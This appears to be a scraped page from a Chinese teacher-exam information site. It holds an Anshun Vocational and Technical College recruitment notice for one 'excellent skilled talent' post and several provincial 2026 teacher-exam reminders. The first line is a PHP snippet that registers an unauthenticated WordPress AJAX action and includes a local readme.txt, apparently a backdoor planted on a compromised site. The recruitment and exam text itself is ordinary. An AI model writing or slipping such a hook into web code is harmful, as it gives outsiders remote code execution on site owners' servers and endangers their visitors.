if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
贵州安顺职业技术学院“优秀技能人才”引进公告-全国教师资格考试网

贵州安顺职业技术学院“优秀技能人才”引进公告

  为切实加强我院“优秀技能人才”引进力度,促进教师队伍质量稳步提升,更好服务“双高”校建设和加快实现我院高质量发展提供高技能人才保障,特制定本方案。

  一、组织领导

  成立安顺职业技术学院“优秀技能人才”引进工作领导小组,负责此次人才引进的组织领导工作。领导小组下设办公室(以下简称“引才办”),按照领导小组的安排部署,负责落实引才的具体工作。

  二、宣传工作

  《安顺职业技术学院2024年“优秀技能人才”引进公告》在安顺市人民政府网、安顺市人力资源和社会保障局网、安顺职业技术学院网公开发布。

  三、引才工作的原则及程序

  (一)原则

  1.坚持党管干部、党管人才的原则;

  2.坚持德才兼备、以德为先、五湖四海、任人唯贤的原则;

  3.坚持按需设岗、按岗招聘、人岗相适、人事相宜的原则;

  4.坚持公开、平等、竞争、择优的原则。

  5.坚持服务学校战略目标任务和综合改革发展需求,“优秀技能人才”实行“一事一议、一人一策”原则。

  (二)程序

  引才工作采取考试与考察相结合的办法进行,实行公开报考条件、公开考试程序、公开考试结果“三公开”制度,按照编制引才计划、发布引才公告、报名、资格初审、面试、资格复审、体检、考察、拟聘公示、聘用审批的程序进行。

  四、引才名额、专业、方式及条件

  (一)名额及专业

  “优秀技能人才”1人,专业不限。

  (二)引才方式

  事业编制内专业技术人员全职引进。

  (三)引才条件

  1.具有中华人民共和国国籍。

  2.拥护中华人民共和国宪法和法律,拥护中国共产党的领导,热爱社会主义,有良好的政治素质和品行,具有为人民服务的思想,遵纪守法。

  3.年龄在40周岁以下(1983年10月28日以后出生)。

  4.在黔工作时间未超过1年(2024年1月1日以后入职)。

  5.具有技师及以上职业资格(职业技能等级)。

  6.主要包括曾获得以下奖项或荣誉,或担任省级技能人才平台负责人,或取得(指导选手取得)省级及以上职业技能赛事奖项的人才:

  (1)全国行业技术能手、全国青年岗位能手、省级技术能手;获得省级劳动模范、省级五一劳动奖章的高技能人才;享受省政府特殊津贴的高技能人才。

  (2)省级技能大师工作室负责人、省级高水平专业(群)负责人、省级竞赛集训基地负责人。

  (3)世界技能大赛中国集训队教练;世界技能大赛奖牌获得者或中华人民共和国职业技能大赛金银铜牌获得者的技术指导老师;中华人民共和国职业技能大赛银牌、铜牌、优胜奖获得者;全国行业职业技能大赛一类赛、全国专项职业技能大赛前3名;全国职业院校技能大赛一等奖,全国职业院校教师教学能力大赛一等奖;省级职业技能大赛第1名,省级职业院校技能大赛第1名,省级职业院校教师教学能力大赛第1名。

  7.具有正常履行职责的身体条件。

  (三)以下人员不得报考

  1.不能坚持党的基本路线,在重大政治问题上不能与党中央保持一致的。

  2.被开除中国共产党党籍的。

  3.截至2024年10月28日仍在读的全日制学生或服现役人员。

  4.定向到具体行业或单位的应届毕业生。截止2024年10月28日仍在岗的“农村义务教育阶段学校教师特设岗位计划”人员。

  5.尚在试用期或服务期内的省内事业单位在编工作人员,不列入本次引才对象范围。凡已通过我省急需紧缺人才“绿色通道”政策引进到各级各类事业单位的在编工作人员,不得重复享受“绿色通道”引才政策支持。

  6.2020年以来参加贵州省安顺市公开招聘及安顺市事业单位引才考试,进入体检及以后环节,除不可抗力因素外,因考生本人原因放弃资格的。

  7.在各级公务员招考和事业单位招聘中被认定有舞弊等行为且仍在不得报考公务员和事业单位工作人员期限内的。

  8.曾被开除公职的,在机关(含参照公务员法管理单位)、事业单位被辞退未满5年的。

  9.因犯罪受过刑事处罚的人员。

  10.被依法列入失信联合惩戒对象的人员。

  11.任职(工作)或服役期间发生重大责任事件;曾因贪污、行贿受贿、泄露国家机密等原因受到过党纪、政纪处分或近三年在机关、事业单位年度考核中曾被确定为“不称职”、“不合格”的人员。

  12.聘用后的岗位即构成《事业单位人事管理回避规定》需回避的。

  13.不能按规定提供引才条件要求的相关荣誉证件及其他资格条件资料等原件的,或不符合引才对象、报考条件的人员。

  14.法律、法规、规章及政策规定不得聘用为事业单位工作人员的其他情形。

  五、报名及资格初审

  (一)报名方式及时间、地点

  1.报名方式:采取网上报名。按照公布的引才条件和要求,报考人员报名时须准备《安顺职业技术学院2024年“优秀技能人才”引进报名表》和《安顺职业技术学院2024年引进优秀技能人才诚信报考承诺书》(以下简称《报名表》和《承诺书》,需要签字版和电子版),相关荣誉证书或证件、有效《居民身份证》原件扫描件,并将上述材料发送至报名指定邮箱。

  报考人员须仔细阅读引才公告,如实填写《报名表》和《承诺书》,填写信息不真实、不完整或填写错误的,责任自负。

  2.已就业人员报名须将本人所在单位及主管部门同意报考的证明原件扫描后(中小学教师须持县级及以上教育行政主管部门同意报考的证明)发送至报名指定邮箱。凡弄虚作假的,一经核实,取消报名、考试及聘用资格。

  3.报名时间:以本公告在安顺市人民政府网、安顺市人力资源和社会保障局网、安顺职业技术学院网公布时间开始,截至2024年11月5日24时。逾期投递的报名材料无效。

  4.报名邮箱:aszyzk@163.com(邮件命名格式:姓名+身份证号后四位)

  5.报名以规定时间内收到邮件为准,因邮件命名格式错误,导致报考不成功的,责任自负。

  (二)资格初审

  1.资格初审。报名结束后,根据报考人员填写的个人信息,对照引才公告所需的资格条件进行资格初审。经初审合格的予以确认。对符合报名条件的考生,不得拒绝报名。对审查不合格的,应说明理由。

  2.在报名过程中,报考人员对资格初审的有关问题提出咨询,由引才办负责解释。

  3.领取准考证。报名资格初审合格的考生,凭有效《居民身份证》领取《面试准考证》。

  领取时间:2024年11月8日上午09:00-12:00。

  领取地点:安顺职业技术学院综合楼5楼510办公室。

  六、面试

  通过报名资格初审合格的人员,进入面试环节。面试不设开考比例,但划定成绩合格线。面试时间15分钟,满分100分。

  (一)面试时间:2024年11月9日(星期六)上午8:00凭有效《居民身份证》《面试准考证》原件进入指定候考室,证件与本人不符或证件不全的取消考试资格。8:30分仍未到达指定候考室的  考生视为自动弃权,责任自负。

  (二)面试地点:详见《面试准考证》。

  (三)成绩计算:成绩按百分制计算,按“四舍五入法”保留小数点后两位数字。成绩达75分(含75分)以上才能按引才计划数等额从高分到低分顺序依次确定进入下一环节。当成绩出现并列时进行加试,并按加试成绩高的进入下一环节。加试方式、时间及地点另行通知。

  七、资格复审

  (一)资格复审根据引才计划数按成绩由高分到低分等额确定资格复审对象。进入资格复审的考生须向引才办提供报名时提交材料的原件,交由引才办进行验证审核,并交复印件及1寸证件照1张留存。资格审查贯穿整个引才过程,提供虚假报考材料或虚假信息获取报名资格、不符合报名条件的报考人员进入考试环节的,该报考人员所有考试环节的成绩无效,取消进入下一环节的资格。进入资格复审环节出现不合格或放弃的,按成绩达75分(含75分)以上人员从高分到低分的顺序依次递补。

  (二)资格复审具体时间、地点届时由引才办另行通知。

  八、体检

  (一)资格复审合格的考生确定为体检对象。体检必须在安顺职业技术学院引才办指定的县级及以上综合性医院、在规定时间内进行并出具体检结论,其他结论、鉴定一律不予认可。

  (二)体检标准参照公务员录用体检通用标准以及我省的有关规定执行。

  (三)体检不合格和自动放弃体检的考生,取消进入下一环节资格,空缺岗位不予递补。自动放弃体检的考生应在发布体检公告3日内提交书面承诺书,逾期不交,视为自动放弃。

  (四)体检费由考生自理,体检时间另行通知。

  九、考察

  体检合格考生确定为考察对象。考察工作由引才办负责组织实施。考察内容、标准、程序和方法参照《贵州省事业单位公开招聘人员考察工作规范(试行)》的有关规定执行。在考察中,经审定有《引才公告》“不得报考条件”所列情况之一的人员,考察结论为不合格,取消进入下一环节资格。

  考察工作应当成立考察组,考察组由两人以上组成。考察组要广泛听取意见,按照“凡进必审”的原则,贯彻党管人才原则,坚持政治标准和学术标准相统一,将思想政治表现、遵纪守法情况、道德品行等作为首要考察内容,做到全面、客观、公正,并据实写出考察材料、作出考察结论、提出聘用建议意见。

  考察不合格、考察期间放弃和自动放弃考察的考生,取消进入下一环节资格,空缺岗位不予递补。放弃考察的考生应在发布考察公告3日内提交书面承诺书,逾期不交,视为自动放弃。

  十、公示和聘用审批

  (一)经报名、资格初审、面试、资格复审、体检、考察合格的人员,确定为拟聘用人员。拟聘用人员名单在安顺市人民政府网、安顺市人力资源和社会保障网、安顺职业技术学院网进行不少于7个工作日的公示,接受社会监督。

  (二)公示期满,对没有举报或者虽有举报但不影响聘用的,按照贵州省人事厅《关于印发〈贵州省事业单位新增人员公开招聘暂行办法〉的通知》(黔人发〔2006〕4号)和《关于印发<贵州省事业单位公开招聘操作办法(试行)>的通知》(黔人社厅发〔2013〕10号)规定,根据管理权限办理聘用手续。对有严重问题并查有实据的,不予聘用;对举报事实一时难以查实的,暂缓聘用,待查实并作出结论后再决定是否聘用。

  十一、引进待遇

  (一)事业编制。引进“优秀技能人才”按规定纳入事业编制。

  (二)工资绩效。工资绩效及相关费用按照贵州省政策和学院规定执行。

  (三)职称转评。持有相应学段教师资格证,具有非教师系列相近专业职称可按规定申请转评同等级教师系列专业技术职称,具有国家职业资格证书(职业技能等级证书)的可按规定初定同等级教师系列专业技术职称。

  (四)设立工作室。可结合实际设立以引进人才命名的工作室。对“优秀技能人才”参照我省国家级和省级技能大师工作室补助标准进行补助,优先支持申报设立国家级、省级大师工作室,获批后不重复享受补助。

  (五)人才服务卡。按规定条件向“优秀技能人才”申请市级优才卡或“人才服务绿卡”。持卡人才按规定可享受医疗服务、子女入学、配偶安置、旅游服务、金融服务等方面优惠政策。

  (四)住房保障。学校提供1套免租人才公寓。

  十二、服务期限

  引进的“优秀技能人才”实行服务期制,在校服务期不低于5年,并签订服务期限承诺书。

  十三、纪律监督

  本次引才工作主动接受纪检监察部门和社会各界监督。工作人员和考生要严格遵守有关的规章制度,如有违反或弄虚作假的,一经查实,将按照《事业单位公开招聘违纪违规行为处理规定》等严肃处理。

  学院引才工作领导小组向社会公布招聘咨询和监督电话。

  咨询电话:0851-38151712

  监督电话:0851-38107544

  十四、本次引才考试不指定考试用书、不委托任何个人或机构举办任何培训班。

  十五、在引才过程中,相关信息都将在安顺市人民政府网、安顺市人力资源和社会保障网、安顺职业技术学院网进行公布,请考生密切注意。对发生因考生联系电话变更、关机、停机、呼叫转移或不接电话等造成引才单位联系不上考生的情形,引起的后果由考生本人自负。

  十六、本次引才工作未尽事宜,由安顺职业技术学院引才工作领导小组研究确定。

  十七、本《引才方案》解释权属安顺职业技术学院引才工作领导小组。

  贵州安顺职业技术学院“优秀技能人才”引进公告附件1:安顺职业技术学院2024年“优秀技能人才”引进报名表.xls

  贵州安顺职业技术学院“优秀技能人才”引进公告附件2:安顺职业技术学院2024年引进“优秀技能人才”诚信报考承诺书.doc

2024年10月28日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部